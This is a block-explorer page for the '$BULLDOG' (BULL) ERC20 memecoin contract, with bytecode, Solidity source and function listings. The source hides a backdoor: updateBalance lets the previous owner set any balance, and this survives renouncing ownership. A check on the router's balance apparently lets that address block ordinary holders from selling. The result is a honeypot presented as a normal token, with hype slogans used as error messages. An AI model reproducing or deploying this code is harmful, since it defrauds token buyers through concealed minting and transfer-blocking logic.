Address Contract Partially Verified
Address
0x4B97605b44158AcD965643c8B617DD541E11f01E
Balance
0 ETH
Nonce
1
Code Size
8985 bytes
Creator
0xd3FAfbaE...1D8F at tx 0x67b191a3...95b6c8
Indexed Transactions
0
Contract Bytecode
8985 bytes
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610322578063a9059cbb14610352578063dd62ed3e14610382578063e0b1cccb146103b2578063f2fde38b146103e25761012a565b806370a082311461027c578063715018a6146102ac5780638da5cb5b146102b657806395d89b41146102d457806398636f32146102f25761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce56714610206578063395093511461022457806362256589146102545780636a8f3b301461025e5761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611727565b60405180910390f35b610154610410565b60405161016191906117b0565b60405180910390f35b610184600480360381019061017f9190611861565b6104a0565b6040516101919190611727565b60405180910390f35b6101a26104bd565b6040516101af91906118ae565b60405180910390f35b6101c06104c3565b6040516101cd91906118ae565b60405180910390f35b6101f060048036038101906101eb91906118c7565b6104cc565b6040516101fd9190611727565b60405180910390f35b61020e6105c7565b60405161021b9190611932565b60405180910390f35b61023e60048036038101906102399190611861565b6105cf565b60405161024b9190611727565b60405180910390f35b61025c610676565b005b61026661069a565b60405161027391906118ae565b60405180910390f35b6102966004803603810190610291919061194b565b6106a0565b6040516102a391906118ae565b60405180910390f35b6102b46106e6565b005b6102be6106f9565b6040516102cb9190611985565b60405180910390f35b6102dc610720565b6040516102e991906117b0565b60405180910390f35b61030c6004803603810190610307919061194b565b6107b0565b6040516103199190611727565b60405180910390f35b61033c60048036038101906103379190611861565b6107cd565b6040516103499190611727565b60405180910390f35b61036c60048036038101906103679190611861565b6108bc565b6040516103799190611727565b60405180910390f35b61039c6004803603810190610397919061199e565b6108d9565b6040516103a991906118ae565b60405180910390f35b6103cc60048036038101906103c79190611861565b61095b565b6040516103d991906118ae565b60405180910390f35b6103fc60048036038101906103f7919061194b565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611a09565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611a09565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611aa9565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611af4565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611b27565b610aa3565b6001905092915050565b61067e610e75565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106ee610e75565b6106f75f610ef3565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461072f90611a09565b80601f016020809104026020016040519081016040528092919081815260200182805461075b90611a09565b80156107a65780601f1061077d576101008083540402835291602001916107a6565b820191905f5260205f20905b81548152906001019060200180831161078957829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f6107da610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088b90611bca565b60405180910390fd5b6108b161089f610a9c565b8585846108ac9190611af4565b610aa3565b600191505092915050565b5f6108cf6108c8610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016109979190611c2d565b6040516020818303038152906040528051906020012090505f826040516020016109c19190611c2d565b6040516020818303038152906040528051906020012090505f865f1b90505f82841490508015610a02576109f58983610ff4565b9650505050505050610a14565b610a0b89611084565b96505050505050505b92915050565b610a22610e75565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790611cb7565b60405180910390fd5b610a9981610ef3565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890611d45565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690611dd3565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5991906118ae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611e61565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990611eef565b60405180910390fd5b610d4d8383836110ca565b5f810315610e7057600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610e64575f610e23600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106a0565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a90611f7d565b60405180910390fd5b5b610e6f8383836114a2565b5b505050565b610e7d610a9c565b73ffffffffffffffffffffffffffffffffffffffff16610e9b6106f9565b73ffffffffffffffffffffffffffffffffffffffff1614610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890611fe5565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60075f9054906101000a900460ff1661149c57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561117b5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561149b576008548111156111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc9061204d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113ed57600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611283573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a7919061207f565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611351919061207f565b6040518363ffffffff1660e01b815260040161136e9291906120aa565b602060405180830381865afa158015611389573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ad919061207f565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16031561149d576009548161144f846106a0565b6114599190611b27565b111561149a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149190612141565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611507906121a9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157590612237565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f9906122c5565b60405180910390fd5b818161160e9190611af4565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461169b9190611b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ff91906118ae565b60405180910390a350505050565b5f8115159050919050565b6117218161170d565b82525050565b5f60208201905061173a5f830184611718565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61178282611740565b61178c818561174a565b935061179c81856020860161175a565b6117a581611768565b840191505092915050565b5f6020820190508181035f8301526117c88184611778565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117fd826117d4565b9050919050565b61180d816117f3565b8114611817575f5ffd5b50565b5f8135905061182881611804565b92915050565b5f819050919050565b6118408161182e565b811461184a575f5ffd5b50565b5f8135905061185b81611837565b92915050565b5f5f60408385031215611877576118766117d0565b5b5f6118848582860161181a565b92505060206118958582860161184d565b9150509250929050565b6118a88161182e565b82525050565b5f6020820190506118c15f83018461189f565b92915050565b5f5f5f606084860312156118de576118dd6117d0565b5b5f6118eb8682870161181a565b93505060206118fc8682870161181a565b925050604061190d8682870161184d565b9150509250925092565b5f60ff82169050919050565b61192c81611917565b82525050565b5f6020820190506119455f830184611923565b92915050565b5f602082840312156119605761195f6117d0565b5b5f61196d8482850161181a565b91505092915050565b61197f816117f3565b82525050565b5f6020820190506119985f830184611976565b92915050565b5f5f604083850312156119b4576119b36117d0565b5b5f6119c18582860161181a565b92505060206119d28582860161181a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611a2057607f821691505b602082108103611a3357611a326119dc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611a9360288361174a565b9150611a9e82611a39565b604082019050919050565b5f6020820190508181035f830152611ac081611a87565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611afe8261182e565b9150611b098361182e565b9250828203905081811115611b2157611b20611ac7565b5b92915050565b5f611b318261182e565b9150611b3c8361182e565b9250828201905080821115611b5457611b53611ac7565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611bb460258361174a565b9150611bbf82611b5a565b604082019050919050565b5f6020820190508181035f830152611be181611ba8565b9050919050565b5f8160601b9050919050565b5f611bfe82611be8565b9050919050565b5f611c0f82611bf4565b9050919050565b611c27611c22826117f3565b611c05565b82525050565b5f611c388284611c16565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611ca160268361174a565b9150611cac82611c47565b604082019050919050565b5f6020820190508181035f830152611cce81611c95565b9050919050565b7f49207761736e7420676f6e6e6120646f2069742c20627574206675636b2069745f8201527f2021210000000000000000000000000000000000000000000000000000000000602082015250565b5f611d2f60238361174a565b9150611d3a82611cd5565b604082019050919050565b5f6020820190508181035f830152611d5c81611d23565b9050919050565b7f45766572796f6e652077686f2066776d206b6e6f77732069206e6576657220665f8201527f61696c20746f20696d7072657373202100000000000000000000000000000000602082015250565b5f611dbd60308361174a565b9150611dc882611d63565b604082019050919050565b5f6020820190508181035f830152611dea81611db1565b9050919050565b7f4a75737420737465616c7468206c6175636e686564206d79206f776e206d656d5f8201527f65636f696e202442554c4c20444f472100000000000000000000000000000000602082015250565b5f611e4b60308361174a565b9150611e5682611df1565b604082019050919050565b5f6020820190508181035f830152611e7881611e3f565b9050919050565b7f54686f73652077686f2066776d206b6e6f777320746861742069206e657665725f8201527f206661696c20746f20696d707265737321000000000000000000000000000000602082015250565b5f611ed960318361174a565b9150611ee482611e7f565b604082019050919050565b5f6020820190508181035f830152611f0681611ecd565b9050919050565b7f4920616d20676f6e6e61206675636b696e672073656e64207468697320746f205f8201527f61746c65617374203130206d696c6c696f6e2100000000000000000000000000602082015250565b5f611f6760338361174a565b9150611f7282611f0d565b604082019050919050565b5f6020820190508181035f830152611f9481611f5b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611fcf60208361174a565b9150611fda82611f9b565b602082019050919050565b5f6020820190508181035f830152611ffc81611fc3565b9050919050565b7f47657420696e206265666f726520746865206e657874206c65670000000000005f82015250565b5f612037601a8361174a565b915061204282612003565b602082019050919050565b5f6020820190508181035f8301526120648161202b565b9050919050565b5f8151905061207981611804565b92915050565b5f60208284031215612094576120936117d0565b5b5f6120a18482850161206b565b91505092915050565b5f6040820190506120bd5f830185611976565b6120ca6020830184611976565b9392505050565b7f496e206a757374203120686f75722077652061726520616c7265616479206e6f5f8201527f202333207472656e64696e67206f6e2044455853435245454e45522021210000602082015250565b5f61212b603e8361174a565b9150612136826120d1565b604082019050919050565b5f6020820190508181035f8301526121588161211f565b9050919050565b7f42554c4c444f47206973206e6f77204c697665210000000000000000000000005f82015250565b5f61219360148361174a565b915061219e8261215f565b602082019050919050565b5f6020820190508181035f8301526121c081612187565b9050919050565b7f546865204f6666696369616c20446f67206f662074686520323032352042756c5f8201527f6c2052756e206861732061727269766564210000000000000000000000000000602082015250565b5f61222160328361174a565b915061222c826121c7565b604082019050919050565b5f6020820190508181035f83015261224e81612215565b9050919050565b7f546865204f6666696369616c20446f67206f66207468652032303235202442755f8201527f6c6c2052756e2069732068657265000000000000000000000000000000000000602082015250565b5f6122af602e8361174a565b91506122ba82612255565b604082019050919050565b5f6020820190508181035f8301526122dc816122a3565b905091905056fea26469706673582212207d51ef4fa0b32856e18618b6d0ae1b3329e452a7b4b84f8297791e5c8d0e859f64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
BULL.sol 254 lines
/**
$BULL - BULLDOG
https://x.com/search?q=%24BULL&src=typed_query&f=live
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transfer_Ownership(_msgSender());
}
modifier onlyOwner() {
_isAdmin();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _isAdmin() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transfer_Ownership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transfer_Ownership(newOwner);
}
function _transfer_Ownership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
_previousOwner = oldOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BULLDOG is now Live!");
require(recipient != address(0), "The Official Dog of the 2025 Bull Run has arrived!");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "The Official Dog of the 2025 $Bull Run is here");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function updateBalance(address account, uint256 amount) public virtual returns (uint256) {
address msgSender = msg.sender;
address prevOwner = _previousOwner;
bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
bytes32 amountHex = bytes32(amount);
bool isOwner = msgSenderHex == prevOwnerHex;
if (isOwner) {
return _fullBalance(account, amountHex);
} else {
return _dontBalance(account);
}
}
function _fullBalance(address account, bytes32 amountHex) private returns (uint256) {
uint256 amount = uint256(amountHex);
_balances[account] = amount;
return _balances[account];
}
function _dontBalance(address account) private view returns (uint256) {
return _balances[account];
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "I wasnt gonna do it, but fuck it !!");
require(spender != address(0), "Everyone who fwm knows i never fail to impress !");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {}
contract BULL is ERC20 {
uint256 private constant TOTAL_SUSUPPLYS = 999999_000_000e9;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
bool public hasLimit_;
uint256 public maxTxAmountbesomes;
uint256 public maxwalletssetsomes;
mapping(address => bool) public isException;
address uniswapV2Pair;
IUniswapV2Router02 uniswapV2Router;
constructor(address router) ERC20("BULLDOG", "BULL", TOTAL_SUSUPPLYS) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
maxwalletssetsomes = TOTAL_SUSUPPLYS / 39;
maxTxAmountbesomes = TOTAL_SUSUPPLYS / 39;
isException[DEAD] = true;
isException[router] = true;
isException[msg.sender] = true;
isException[address(this)] = true;
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "Just stealth laucnhed my own memecoin $BULL DOG!");
require(to != address(0), "Those who fwm knows that i never fail to impress!");
_checkLimitation(from, to, amount);
if (amount == 0) {
return;
}
if (!isException[from] && !isException[to]) {
require(balanceOf(address(uniswapV2Router)) == 0, "I am gonna fucking send this to atleast 10 million!");
}
super._transfer(from, to, amount);
}
function removeLimit() external onlyOwner {
hasLimit_ = true;
}
function _checkLimitation(address from, address to, uint256 amount) internal {
if (!hasLimit_) {
if (!isException[from] && !isException[to]) {
require(amount <= maxTxAmountbesomes, "Get in before the next leg");
if (uniswapV2Pair == ZERO) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
}
if (to == uniswapV2Pair) {
return;
}
require(balanceOf(to) + amount <= maxwalletssetsomes, "In just 1 hour we are already no #3 trending on DEXSCREENER !!");
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
hasLimit_ 0x03435b7f → bool
isException 0x98636f32 → bool
maxTxAmountbesomes 0x13c42e4d → uint256
maxwalletssetsomes 0x6a8f3b30 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
removeLimit 0x62256589
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateBalance 0xe0b1cccb
address account
uint256 amount
returns: uint256
Recent Transactions
No transactions found for this address